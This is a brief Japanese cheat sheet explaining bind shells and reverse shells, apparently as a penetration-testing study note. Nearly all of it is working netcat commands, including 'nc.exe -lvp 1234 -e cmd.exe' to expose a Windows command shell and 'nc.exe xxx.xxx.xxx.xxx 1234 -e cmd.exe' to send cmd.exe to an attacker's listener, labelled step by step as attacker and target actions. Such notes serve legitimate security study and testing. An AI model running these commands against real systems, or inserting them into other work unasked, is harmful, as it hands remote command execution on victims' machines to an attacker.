バインドシェルとリバースシェル

バインドシェル：攻撃元から攻撃先に接続する
攻撃先(Windows)
1)待ち受け
> nc.exe -lvp 1234 -e cmd.exe

攻撃元(Linux)
2)接続
$ nc xxx.xxx.xxx.xxx 1234
<任意のコマンドを実行>
3)終了
$ exit

リバースシェル：攻撃先が攻撃元にコマンドを渡す
攻撃元(Linux)
1)待ち受け
$ nc -lvp 1234

攻撃先(Windows)
2)攻撃元にコマンドプロンプトを渡す
> nc.exe xxx.xxx.xxx.xxx 1234 -e cmd.exe

攻撃元(Linux)
3)コマンド実行
<任意のコマンドを実行>
4)終了
$ exit